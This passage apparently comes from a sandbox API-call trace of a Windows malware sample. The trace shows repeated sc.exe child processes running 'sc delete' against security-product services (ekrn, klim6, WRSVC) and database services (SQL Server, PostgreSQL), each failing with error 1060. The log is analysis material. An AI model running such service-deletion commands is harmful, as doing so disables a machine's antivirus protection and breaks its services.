0x4243f0 [0072.190] OpenServiceW (hSCManager=0x4243f0, lpServiceName="ReportServer$OPTIMA", dwDesiredAccess=0x10000) returned 0x0 [0072.191] GetLastError () returned 0x424 [0072.191] _itow (in: _Dest=0x424, _Radix=2423384 | out: _Dest=0x424) returned="1060" [0072.191] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffd3b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.193] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x24fa10, nSize=0x2, Arguments=0x24fa40 | out: lpBuffer="跐B") returned 0x62 [0072.193] GetFileType (hFile=0x120) returned 0x3 [0072.193] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x428eb0 [0072.193] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x428eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\nB", lpUsedDefaultChar=0x0) returned 98 [0072.193] WriteFile (in: hFile=0x120, lpBuffer=0x428eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x24f9b8, lpOverlapped=0x0 | out: lpBuffer=0x428eb0*, lpNumberOfBytesWritten=0x24f9b8*=0x62, lpOverlapped=0x0) returned 1 [0072.193] LocalFree (hMem=0x428eb0) returned 0x0 [0072.193] LocalFree (hMem=0x428dd0) returned 0x0 [0072.193] LocalFree (hMem=0x0) returned 0x0 [0072.193] CloseServiceHandle (hSCObject=0x4243f0) returned 1 [0072.195] exit (_Code=1060) Thread: id = 75 os_tid = 0x648 Process: id = "38" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3d37e000" os_pid = "0x57c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"msftesql$SQLEXPRESS\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 76 os_tid = 0x488 [0072.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10fa10 | out: lpSystemTimeAsFileTime=0x10fa10*(dwLowDateTime=0x42dc8470, dwHighDateTime=0x1d62774)) [0072.246] GetCurrentProcessId () returned 0x57c [0072.246] GetCurrentThreadId () returned 0x488 [0072.246] GetTickCount () returned 0x11495f9 [0072.246] QueryPerformanceCounter (in: lpPerformanceCount=0x10fa18 | out: lpPerformanceCount=0x10fa18*=19192150060) returned 1 [0072.247] GetModuleHandleW (lpModuleName=0x0) returned 0xff2e0000 [0072.247] __set_app_type (_Type=0x1) [0072.247] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff2e7228) returned 0x0 [0072.247] __wgetmainargs (in: _Argc=0xff2eb604, _Argv=0xff2eb610, _Env=0xff2eb608, _DoWildCard=0, _StartInfo=0xff2eb050 | out: _Argc=0xff2eb604, _Argv=0xff2eb610, _Env=0xff2eb608) returned 0 [0072.248] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.249] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.249] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.249] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.249] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.249] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.249] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.249] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.250] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.250] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.250] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.250] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.250] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.250] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.250] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.250] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.250] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.250] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.250] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.250] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.250] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.250] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.250] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.250] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.250] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.250] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.250] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.250] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.250] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.250] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.250] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.250] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.250] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2743f0 [0072.254] OpenServiceW (hSCManager=0x2743f0, lpServiceName="msftesql$SQLEXPRESS", dwDesiredAccess=0x10000) returned 0x0 [0072.254] GetLastError () returned 0x424 [0072.254] _itow (in: _Dest=0x424, _Radix=1112184 | out: _Dest=0x424) returned="1060" [0072.254] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff2eb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.256] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x10f830, nSize=0x2, Arguments=0x10f860 | out: lpBuffer="跐'") returned 0x62 [0072.256] GetFileType (hFile=0x120) returned 0x3 [0072.256] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x278eb0 [0072.256] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x278eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n'", lpUsedDefaultChar=0x0) returned 98 [0072.256] WriteFile (in: hFile=0x120, lpBuffer=0x278eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x10f7d8, lpOverlapped=0x0 | out: lpBuffer=0x278eb0*, lpNumberOfBytesWritten=0x10f7d8*=0x62, lpOverlapped=0x0) returned 1 [0072.256] LocalFree (hMem=0x278eb0) returned 0x0 [0072.256] LocalFree (hMem=0x278dd0) returned 0x0 [0072.256] LocalFree (hMem=0x0) returned 0x0 [0072.256] CloseServiceHandle (hSCObject=0x2743f0) returned 1 [0072.258] exit (_Code=1060) Thread: id = 77 os_tid = 0x640 Process: id = "39" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3d783000" os_pid = "0x734" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"postgresql-x64-9.4\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 78 os_tid = 0x70c [0072.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fbb0 | out: lpSystemTimeAsFileTime=0x24fbb0*(dwLowDateTime=0x42e609f0, dwHighDateTime=0x1d62774)) [0072.304] GetCurrentProcessId () returned 0x734 [0072.304] GetCurrentThreadId () returned 0x70c [0072.304] GetTickCount () returned 0x1149638 [0072.304] QueryPerformanceCounter (in: lpPerformanceCount=0x24fbb8 | out: lpPerformanceCount=0x24fbb8*=19197993370) returned 1 [0072.305] GetModuleHandleW (lpModuleName=0x0) returned 0xff240000 [0072.305] __set_app_type (_Type=0x1) [0072.305] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff247228) returned 0x0 [0072.305] __wgetmainargs (in: _Argc=0xff24b604, _Argv=0xff24b610, _Env=0xff24b608, _DoWildCard=0, _StartInfo=0xff24b050 | out: _Argc=0xff24b604, _Argv=0xff24b610, _Env=0xff24b608) returned 0 [0072.306] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.308] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.308] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.308] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.308] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.308] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.308] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.308] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.308] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.308] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.308] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.308] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.308] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.308] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.308] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.308] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.308] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.308] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.308] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.308] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.308] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.308] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.308] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.308] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.308] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.308] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.308] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.308] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.309] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.309] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.309] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.309] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.309] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x4143e0 [0072.313] OpenServiceW (hSCManager=0x4143e0, lpServiceName="postgresql-x64-9.4", dwDesiredAccess=0x10000) returned 0x0 [0072.313] GetLastError () returned 0x424 [0072.313] _itow (in: _Dest=0x424, _Radix=2423320 | out: _Dest=0x424) returned="1060" [0072.313] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff24b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.315] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x24f9d0, nSize=0x2, Arguments=0x24fa00 | out: lpBuffer="跀A") returned 0x62 [0072.315] GetFileType (hFile=0x120) returned 0x3 [0072.315] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x418ea0 [0072.315] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x418ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\nA", lpUsedDefaultChar=0x0) returned 98 [0072.315] WriteFile (in: hFile=0x120, lpBuffer=0x418ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x24f978, lpOverlapped=0x0 | out: lpBuffer=0x418ea0*, lpNumberOfBytesWritten=0x24f978*=0x62, lpOverlapped=0x0) returned 1 [0072.315] LocalFree (hMem=0x418ea0) returned 0x0 [0072.315] LocalFree (hMem=0x418dc0) returned 0x0 [0072.315] LocalFree (hMem=0x0) returned 0x0 [0072.315] CloseServiceHandle (hSCObject=0x4143e0) returned 1 [0072.317] exit (_Code=1060) Thread: id = 79 os_tid = 0x804 Process: id = "40" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3e788000" os_pid = "0x824" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete WRSVC" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 80 os_tid = 0x844 [0072.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcfef0 | out: lpSystemTimeAsFileTime=0xcfef0*(dwLowDateTime=0x42ed2e10, dwHighDateTime=0x1d62774)) [0072.360] GetCurrentProcessId () returned 0x824 [0072.360] GetCurrentThreadId () returned 0x844 [0072.361] GetTickCount () returned 0x1149666 [0072.361] QueryPerformanceCounter (in: lpPerformanceCount=0xcfef8 | out: lpPerformanceCount=0xcfef8*=19203619890) returned 1 [0072.362] GetModuleHandleW (lpModuleName=0x0) returned 0xff730000 [0072.362] __set_app_type (_Type=0x1) [0072.362] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff737228) returned 0x0 [0072.362] __wgetmainargs (in: _Argc=0xff73b604, _Argv=0xff73b610, _Env=0xff73b608, _DoWildCard=0, _StartInfo=0xff73b050 | out: _Argc=0xff73b604, _Argv=0xff73b610, _Env=0xff73b608) returned 0 [0072.362] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.364] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.364] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.364] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.364] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.364] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.365] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.365] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.365] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.365] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.365] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.365] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.365] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.365] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.365] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.365] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.365] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.365] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.365] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.365] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.365] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.365] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.365] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.365] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.365] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.365] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.365] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.365] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.365] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.365] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.365] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.365] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.366] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x124370 [0072.370] OpenServiceW (hSCManager=0x124370, lpServiceName="WRSVC", dwDesiredAccess=0x10000) returned 0x0 [0072.370] GetLastError () returned 0x424 [0072.370] _itow (in: _Dest=0x424, _Radix=851288 | out: _Dest=0x424) returned="1060" [0072.371] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff73b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.372] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcfd10, nSize=0x2, Arguments=0xcfd40 | out: lpBuffer="跀\x12") returned 0x62 [0072.373] GetFileType (hFile=0x120) returned 0x3 [0072.373] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x128ea0 [0072.373] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x128ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x12", lpUsedDefaultChar=0x0) returned 98 [0072.373] WriteFile (in: hFile=0x120, lpBuffer=0x128ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcfcb8, lpOverlapped=0x0 | out: lpBuffer=0x128ea0*, lpNumberOfBytesWritten=0xcfcb8*=0x62, lpOverlapped=0x0) returned 1 [0072.373] LocalFree (hMem=0x128ea0) returned 0x0 [0072.373] LocalFree (hMem=0x128dc0) returned 0x0 [0072.373] LocalFree (hMem=0x0) returned 0x0 [0072.373] CloseServiceHandle (hSCObject=0x124370) returned 1 [0072.375] exit (_Code=1060) Thread: id = 81 os_tid = 0x854 Process: id = "41" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3e68d000" os_pid = "0x874" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete ekrn" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 82 os_tid = 0x884 [0072.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fef0 | out: lpSystemTimeAsFileTime=0x18fef0*(dwLowDateTime=0x42f6b390, dwHighDateTime=0x1d62774)) [0072.423] GetCurrentProcessId () returned 0x874 [0072.423] GetCurrentThreadId () returned 0x884 [0072.423] GetTickCount () returned 0x11496a5 [0072.423] QueryPerformanceCounter (in: lpPerformanceCount=0x18fef8 | out: lpPerformanceCount=0x18fef8*=19209832840) returned 1 [0072.424] GetModuleHandleW (lpModuleName=0x0) returned 0xfffe0000 [0072.424] __set_app_type (_Type=0x1) [0072.424] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffe7228) returned 0x0 [0072.424] __wgetmainargs (in: _Argc=0xfffeb604, _Argv=0xfffeb610, _Env=0xfffeb608, _DoWildCard=0, _StartInfo=0xfffeb050 | out: _Argc=0xfffeb604, _Argv=0xfffeb610, _Env=0xfffeb608) returned 0 [0072.424] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.427] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.427] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.427] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.427] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.427] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.427] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.427] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.427] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.427] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.427] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.427] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.427] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.427] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.427] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.427] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.427] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.427] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.427] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.427] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.427] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.427] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.427] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.427] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.427] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.427] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.427] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.427] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.428] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.428] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.428] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.428] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.428] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2c4360 [0072.431] OpenServiceW (hSCManager=0x2c4360, lpServiceName="ekrn", dwDesiredAccess=0x10000) returned 0x0 [0072.431] GetLastError () returned 0x424 [0072.431] _itow (in: _Dest=0x424, _Radix=1637720 | out: _Dest=0x424) returned="1060" [0072.432] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xfffeb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.433] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x18fd10, nSize=0x2, Arguments=0x18fd40 | out: lpBuffer="趰,") returned 0x62 [0072.433] GetFileType (hFile=0x120) returned 0x3 [0072.433] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2c8e90 [0072.433] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2c8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n,", lpUsedDefaultChar=0x0) returned 98 [0072.433] WriteFile (in: hFile=0x120, lpBuffer=0x2c8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x18fcb8, lpOverlapped=0x0 | out: lpBuffer=0x2c8e90*, lpNumberOfBytesWritten=0x18fcb8*=0x62, lpOverlapped=0x0) returned 1 [0072.434] LocalFree (hMem=0x2c8e90) returned 0x0 [0072.434] LocalFree (hMem=0x2c8db0) returned 0x0 [0072.434] LocalFree (hMem=0x0) returned 0x0 [0072.434] CloseServiceHandle (hSCObject=0x2c4360) returned 1 [0072.435] exit (_Code=1060) Thread: id = 83 os_tid = 0x8a4 Process: id = "42" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3e192000" os_pid = "0x8b4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete klim6" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 84 os_tid = 0x8d4 [0072.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcf990 | out: lpSystemTimeAsFileTime=0xcf990*(dwLowDateTime=0x43003910, dwHighDateTime=0x1d62774)) [0072.481] GetCurrentProcessId () returned 0x8b4 [0072.481] GetCurrentThreadId () returned 0x8d4 [0072.481] GetTickCount () returned 0x11496e3 [0072.481] QueryPerformanceCounter (in: lpPerformanceCount=0xcf998 | out: lpPerformanceCount=0xcf998*=19215664713) returned 1 [0072.482] GetModuleHandleW (lpModuleName=0x0) returned 0xff4a0000 [0072.482] __set_app_type (_Type=0x1) [0072.482] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff4a7228) returned 0x0 [0072.482] __wgetmainargs (in: _Argc=0xff4ab604, _Argv=0xff4ab610, _Env=0xff4ab608, _DoWildCard=0, _StartInfo=0xff4ab050 | out: _Argc=0xff4ab604, _Argv=0xff4ab610, _Env=0xff4ab608) returned 0 [0072.483] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.485] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.485] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.485] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.485] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.485] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.485] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.485] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.485] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.485] _wcsicmp 